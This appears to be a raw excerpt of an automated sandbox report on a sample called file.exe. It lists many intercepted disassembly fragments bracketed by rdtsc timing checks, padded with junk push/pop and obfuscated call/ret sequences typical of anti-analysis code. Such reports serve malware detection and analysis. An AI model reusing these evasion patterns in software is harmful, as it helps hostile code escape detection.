Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1CB5 second address: CC1D10 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2D44C41DE4h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F2D44C41DD8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 or dword ptr [ebp+122D2260h], ecx 0x0000002b push 00000000h 0x0000002d mov di, 1AB8h 0x00000031 push 00000000h 0x00000033 xchg eax, esi 0x00000034 push eax 0x00000035 push edx 0x00000036 js 00007F2D44C41DDCh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1D10 second address: CC1D16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1D16 second address: CC1D24 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2B78 second address: CC2B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F2D44BC37D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2D44BC37DFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2B95 second address: CC2B9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2B9B second address: CC2B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2B9F second address: CC2C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F2D44C41DD8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 jmp 00007F2D44C41DE4h 0x00000028 mov di, 75D3h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F2D44C41DDEh 0x00000034 call 00007F2D44C41DE9h 0x00000039 pop ebx 0x0000003a pop edi 0x0000003b pop ebx 0x0000003c mov bh, cl 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 call 00007F2D44C41DD8h 0x00000048 pop ebx 0x00000049 mov dword ptr [esp+04h], ebx 0x0000004d add dword ptr [esp+04h], 00000017h 0x00000055 inc ebx 0x00000056 push ebx 0x00000057 ret 0x00000058 pop ebx 0x00000059 ret 0x0000005a add edi, 7B1CA5E3h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2C39 second address: CC2C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2C3D second address: CC2C47 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4C37 second address: CC4C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4C3F second address: CC4C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E0E3 second address: C6E0E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E0E8 second address: C6E122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE3h 0x00000007 jmp 00007F2D44C41DDEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F2D44C41DE0h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E122 second address: C6E13A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44BC37E3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E13A second address: C6E13F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E13F second address: C6E145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6E145 second address: C6E150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC5204 second address: CC5208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC5208 second address: CC522E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F2D44C41DE9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC522E second address: CC5251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jnp 00007F2D44BC37DCh 0x0000000f sub dword ptr [ebp+124496FBh], eax 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 mov di, si 0x0000001c xchg eax, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC5251 second address: CC5256 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC5342 second address: CC534C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F2D44BC37D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D405 second address: C5D42A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jne 00007F2D44C41DD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2D44C41DE9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D42A second address: C5D444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2D44BC37E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD15F6 second address: CD1642 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F2D44C41DDAh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F2D44C41DE3h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 jmp 00007F2D44C41DE9h 0x0000001c pushad 0x0000001d jo 00007F2D44C41DD6h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1298 second address: CB129C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD179A second address: CD179F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD179F second address: AFFACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 7D4FD960h 0x0000000e pushad 0x0000000f jns 00007F2D44BC37E9h 0x00000015 jmp 00007F2D44BC37E3h 0x0000001a popad 0x0000001b push dword ptr [ebp+122D0E99h] 0x00000021 jnp 00007F2D44BC37D7h 0x00000027 stc 0x00000028 call dword ptr [ebp+122D2B67h] 0x0000002e pushad 0x0000002f xor dword ptr [ebp+122D2260h], eax 0x00000035 xor eax, eax 0x00000037 jo 00007F2D44BC37E0h 0x0000003d pushad 0x0000003e mov ecx, dword ptr [ebp+122D39B7h] 0x00000044 push edx 0x00000045 pop edi 0x00000046 popad 0x00000047 mov edx, dword ptr [esp+28h] 0x0000004b stc 0x0000004c mov dword ptr [ebp+122D394Bh], eax 0x00000052 stc 0x00000053 mov esi, 0000003Ch 0x00000058 mov dword ptr [ebp+122D2260h], edx 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 ja 00007F2D44BC37DFh 0x00000068 lodsw 0x0000006a jl 00007F2D44BC37DCh 0x00000070 mov dword ptr [ebp+122D2260h], ebx 0x00000076 add eax, dword ptr [esp+24h] 0x0000007a xor dword ptr [ebp+122D1B3Ch], eax 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 jnl 00007F2D44BC37D7h 0x0000008a cld 0x0000008b nop 0x0000008c je 00007F2D44BC37DEh 0x00000092 push ecx 0x00000093 push eax 0x00000094 push edx 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7227 second address: CD7231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD738A second address: CD7394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7394 second address: CD73C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2D44C41DD6h 0x0000000a jmp 00007F2D44C41DE5h 0x0000000f popad 0x00000010 popad 0x00000011 push edi 0x00000012 jnp 00007F2D44C41DD8h 0x00000018 push edi 0x00000019 pop edi 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD78E4 second address: CD7918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2D44BC37DFh 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F2D44BC37E4h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7A8B second address: CD7A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7A8F second address: CD7AC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F2D44BC37D6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jne 00007F2D44BC37D6h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jl 00007F2D44BC37F6h 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 jmp 00007F2D44BC37E6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7DB3 second address: CD7DBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2D44C41DD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDFDB0 second address: CDFDE6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F2D44BC37E5h 0x00000008 pop esi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F2D44BC37E1h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDFF5B second address: CDFF6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jl 00007F2D44C41DD6h 0x0000000c popad 0x0000000d popad 0x0000000e push ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE00CE second address: CE00DA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2D44BC37DEh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE03B4 second address: CE03B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0536 second address: CE0549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F2D44BC37DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE080D second address: CE0811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0811 second address: CE0815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0815 second address: CE081B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0A5A second address: CE0A6B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jng 00007F2D44BC37D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0A6B second address: CE0A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0A72 second address: CE0A77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE11F3 second address: CE121D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2D44C41DDDh 0x0000000f jmp 00007F2D44C41DE3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE121D second address: CE1249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2D44BC37E8h 0x0000000f jmp 00007F2D44BC37DAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1249 second address: CE1265 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2D44C41DE2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6006 second address: CE6017 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jl 00007F2D44BC37D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6017 second address: CE601D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE572F second address: CE5733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE5733 second address: CE5748 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE5748 second address: CE5770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2D44BC37E3h 0x00000008 jmp 00007F2D44BC37DEh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6742 second address: CE6748 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6748 second address: CE674E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE674E second address: CE676B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2D44C41DD6h 0x00000008 jns 00007F2D44C41DD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007F2D44C41DD6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE676B second address: CE676F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE676F second address: CE6773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6773 second address: CE6789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44BC37DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB9C4 second address: CEB9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB9CC second address: CEBA06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2D44BC37E8h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2D44BC37DCh 0x00000011 jmp 00007F2D44BC37DFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEBA06 second address: CEBA0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8FCB second address: C8E62B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2D44BC37D6h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D33DAh], eax 0x00000014 call dword ptr [ebp+122D1990h] 0x0000001a push eax 0x0000001b pushad 0x0000001c js 00007F2D44BC37D6h 0x00000022 push edi 0x00000023 pop edi 0x00000024 popad 0x00000025 jnp 00007F2D44BC37DCh 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA919C second address: CA91A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA91A0 second address: CA91BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2D44BC37E5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9487 second address: CA948B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA948B second address: CA9491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA95A1 second address: CA95C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2D44C41DE5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA95C0 second address: CA95DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2D44BC37E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA95DA second address: AFFACC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D1B74h], eax 0x0000000f push dword ptr [ebp+122D0E99h] 0x00000015 push eax 0x00000016 je 00007F2D44C41DDCh 0x0000001c je 00007F2D44C41DD6h 0x00000022 pop ecx 0x00000023 add ecx, dword ptr [ebp+122D1DF6h] 0x00000029 call dword ptr [ebp+122D2B67h] 0x0000002f pushad 0x00000030 xor dword ptr [ebp+122D2260h], eax 0x00000036 xor eax, eax 0x00000038 jo 00007F2D44C41DE0h 0x0000003e pushad 0x0000003f mov ecx, dword ptr [ebp+122D39B7h] 0x00000045 push edx 0x00000046 pop edi 0x00000047 popad 0x00000048 mov edx, dword ptr [esp+28h] 0x0000004c stc 0x0000004d mov dword ptr [ebp+122D394Bh], eax 0x00000053 stc 0x00000054 mov esi, 0000003Ch 0x00000059 mov dword ptr [ebp+122D2260h], edx 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 ja 00007F2D44C41DDFh 0x00000069 lodsw 0x0000006b jl 00007F2D44C41DDCh 0x00000071 mov dword ptr [ebp+122D2260h], ebx 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b xor dword ptr [ebp+122D1B3Ch], eax 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 jnl 00007F2D44C41DD7h 0x0000008b cld 0x0000008c nop 0x0000008d je 00007F2D44C41DDEh 0x00000093 push ecx 0x00000094 push eax 0x00000095 push edx 0x00000096 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9687 second address: CA968D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA968D second address: CA96C0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2D44C41DE9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 304367C2h 0x00000011 add di, CF12h 0x00000016 push C4A419DEh 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9774 second address: CA977E instructions: 0x00000000 rdtsc 0x00000002 je 00007F2D44BC37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA98DC second address: CA98E2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9B1E second address: CA9B31 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F2D44BC37D8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9B31 second address: CA9BBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2D44C41DE4h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F2D44C41DD8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 jng 00007F2D44C41DDCh 0x0000002e sub dword ptr [ebp+122D1B5Ah], esi 0x00000034 push 00000004h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F2D44C41DD8h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D283Ah], edx 0x00000056 nop 0x00000057 push eax 0x00000058 push edx 0x00000059 jnl 00007F2D44C41DE7h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9BBD second address: CA9BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9F75 second address: CA9F7B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
